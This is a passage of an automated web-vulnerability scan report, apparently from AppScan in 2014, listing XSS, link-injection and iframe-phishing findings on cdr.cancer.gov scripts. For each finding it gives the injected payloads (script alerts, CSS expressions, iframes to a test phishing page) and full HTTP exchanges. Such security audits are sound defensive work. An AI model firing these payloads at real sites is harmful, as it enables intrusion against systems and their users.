<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'"> <iframe id=661 src= http://demo.testfire.net/phishing.html > >'>
This report has not yet been implemented, either because
we don't yet have the specs, or because it's behind higher-priority
tasks in the development task queue.
</FORM></BODY></HTML>
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448152 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Stub.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF662.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/Stub.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF662.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:12:03 GMT
Connection: close
Content-Length: 2176

...
bmit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF662.html"> '>
This report has not yet been implemented, either because
we don't yet have the specs, or because it's behind higher-priority
tasks in the development task queue.
</FORM></BODY></HTML>
...
bmit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF662.html"> '>
This report has not yet been implemented, either because
we don't yet have the specs, or because it's behind higher-priority
tasks in the development task queue.
</FORM></BODY></HTML>
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448124 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Stub.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/Stub.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:12 GMT
Connection: close
Content-Length: 2150

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448253 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Stub.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/Stub.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/Stub.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:09:46 GMT
Connection: close
Content-Length: 2150

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py - 7 issue(s)

### Issue 1 of 7

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448160 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set the value of the parameter 'Session' to
'%3E%22%27%3E%3Cscript%3Ealert%2887%29%3C%2Fscript%3E'
- Set the value of the parameter 'SemanticTerms' to
'%3E%22%27%3E%3Cscript%3Ealert%2887%29%3C%2Fscript%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/TermHierarchyTree.py? Session=%3E%22%27%3E%3Cscript%3Ealert%2887%29%3C%2Fscript%3
E & SemanticTerms=%3E%22%27%3E%3Cscript%3Ealert%2887%29%3C%2Fscript%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:16:26 GMT
Connection: close
Content-Length: 11231

...
E='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Term Hierarchy Tree<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<html>
<input type='hidden' name='Session' value='>"'><script> alert(87) </script>'>
<head>
<title>Term Hierarchy Tree</title> <style type="text/css">
ul.treeview li {
font-family: courier,serif;
padding-left: 6px;
list-style-type: none;
}

ul.treeview li.leaf {
color: Teal;
cursor: default;
list-style-type: none;
}



...
...
E='Log Out'> 
```

```
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Term Hierarchy Tree<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<html>
<input type='hidden' name='Session' value='>"'><script> alert(87) </script>'>
<head>
<title>Term Hierarchy Tree</title> <style type="text/css">
ul.treeview li {
font-family: courier,serif;
padding-left: 6px;
list-style-type: none;
}

ul.treeview li.leaf {
color: Teal;
cursor: default;
list-style-type: none;
}



...
```

## Issue 2 of 7

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448234 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 16

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest'%20style='background:expression(alert(716))'

**Reasoning:**

The test result seems to indicate a vulnerability because Appscan successfully embedded a script in the response, which will be executed when the page loads in the user's browser.

**Request/Response:**

```
GET /cgi-bin/cdr/TermHierarchyTree.py? Session=guest'%20style='background:expression(alert(716))
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:53:01 GMT
Connection: close
Content-Length: 1592662

...
> 
<INPUT TYPE='submit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Term Hierarchy Tree<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<html>
<input type='hidden' name='Session' value='guest' style='background:expression(alert(716))'>
<head>
<title>Term Hierarchy Tree</title> <style type="text/css">
ul.treeview li {
font-family: courier,serif;
padding-left: 6px;
list-style-type: none;
}

ul.treeview li.leaf {
color: Teal;
cursor: default;
list-style-type: none;
}

ul.treev
...
...
> 
<INPUT TYPE='submit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Term Hierarchy Tree<BR></span>
```

```
        </TD>
        </TR>
        </TABLE>
        <BR>
        <BR>
        <html>
        <input type='hidden' name='Session' value='guest' style='background:expression(alert(716))'>
        <head>
        <title>Term Hierarchy Tree</title> <style type="text/css">
        ul.treeview li {
        font-family: courier,serif;
        padding-left: 6px;
        list-style-type: none;
        }

        ul.treeview li.leaf {
        color: Teal;
        cursor: default;
        list-style-type: none;
        }

        ul.treev
        ...
```

## Issue 3 of 7

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448117 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%27%22%3E%3Ciframe+id%3D692+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/TermHierarchyTree.py? Session=guest%27%22%3E%3Ciframe+id%3D692+src%3Dhttp%3A%2F%2
Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:18:05 GMT
Connection: close
Content-Length: 1592681


...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Term Hierarchy Tree<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<html>
<input type='hidden' name='Session' value='guest'"> <iframe id=692 src= http://demo.testfire.net/p
hishing.html > >'>
<head>
<title>Term Hierarchy Tree</title> <style type="text/css">
ul.treeview li {
font-family: courier,serif;
padding-left: 6px;
list-style-type: none;
}

ul.treeview li.leaf {
color: Teal;
cursor: default;
list-style-type: non
...
...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Term Hierarchy Tree<BR></span>
</TD>
</TR>
</TABLE>
```

```
<BR>
<BR>
<html>
<input type='hidden' name='Session' value='guest'"> <iframe id=692 src= http://demo.testfire.net/phishing.html > >'>
<head>
<title>Term Hierarchy Tree</title> <style type="text/css">
ul.treeview li {
font-family: courier,serif;
padding-left: 6px;
list-style-type: none;
}

ul.treeview li.leaf {
color: Teal;
cursor: default;
list-style-type: non
...
```

## Issue 4 of 7

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448232 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 3

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF693.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/TermHierarchyTree.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF693.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:18:25 GMT
Connection: close
Content-Length: 1592646

...
est' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Term Hierarchy Tree<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<html>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF693.html"> '>
<head>
<title>Term Hierarchy Tree</title> <style type="text/css">
ul.treeview li {
font-family: courier,serif;
padding-left: 6px;
list-style-type: none;
}

ul.treeview li.leaf {
color: Teal;
cursor: default;
list-style-type: none;
}

ul.tre
...
...
est' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Term Hierarchy Tree<BR></span>
```

```
        </TD>
        </TR>
        </TABLE>
        <BR>
        <BR>
        <html>
        <input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF693.html"> '>
        <head>
        <title>Term Hierarchy Tree</title> <style type="text/css">
        ul.treeview li {
        font-family: courier,serif;
        padding-left: 6px;
        list-style-type: none;
        }

        ul.treeview li.leaf {
        color: Teal;
        cursor: default;
        list-style-type: none;
        }

        ul.tre
        ...
```

## Issue 5 of 7

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448080 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 2

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/TermHierarchyTree.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/TermHierarchyTree.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:12:46 GMT
Connection: close
Content-Length: 1592316

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 6 of 7

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448197 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 2

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/TermHierarchyTree.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:26 GMT
Connection: close
Content-Length: 1592316

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 7 of 7

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448202 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py |
| Parameter: | SemanticTerms |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/TermHierarchyTree.py?Session=guest&SemanticTerms=False HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:41 GMT
Connection: close
Content-Length: 11296

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/TermUsage.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448255 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermUsage.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'guest'/><script>alert(541)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/TermUsage.py? Session=guest'/><script>alert(541)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:32:03 GMT
Connection: close
Content-Length: 2441

...
TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'/><script> alert(541) </script>'>
</FORM>
</BODY>
</HTML>

...
TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'/><script> alert(541) </script>'>
</FORM>
</BODY>
</HTML>
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448028 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermUsage.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF538.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/TermUsage.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF538.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:32:02 GMT
Connection: close
Content-Length: 2437

...
</TD>
</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF538.html"> '>
</FORM>
</BODY>
</HTML>

...
</TD>
</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF538.html"> '>
</FORM>
</BODY>
</HTML>
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448128 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermUsage.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%27%22%3E%3Ciframe+id%3D537+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/TermUsage.py? Session=guest%27%22%3E%3Ciframe+id%3D537+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:32:02 GMT
Connection: close
Content-Length: 2472

...

</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'"> <iframe id=537 src= http://demo.testfire.net/phishing.html > >'>
</FORM>
</BODY>
</HTML>

...

</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Term ID: </B></TD>
<TD><INPUT NAME='DocId'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'"> <iframe id=537 src= http://demo.testfire.net/phishing.html > >'>
</FORM>
</BODY>
</HTML>
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448170 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermUsage.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/TermUsage.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:19 GMT
Connection: close
Content-Length: 2411

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Term Usage</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
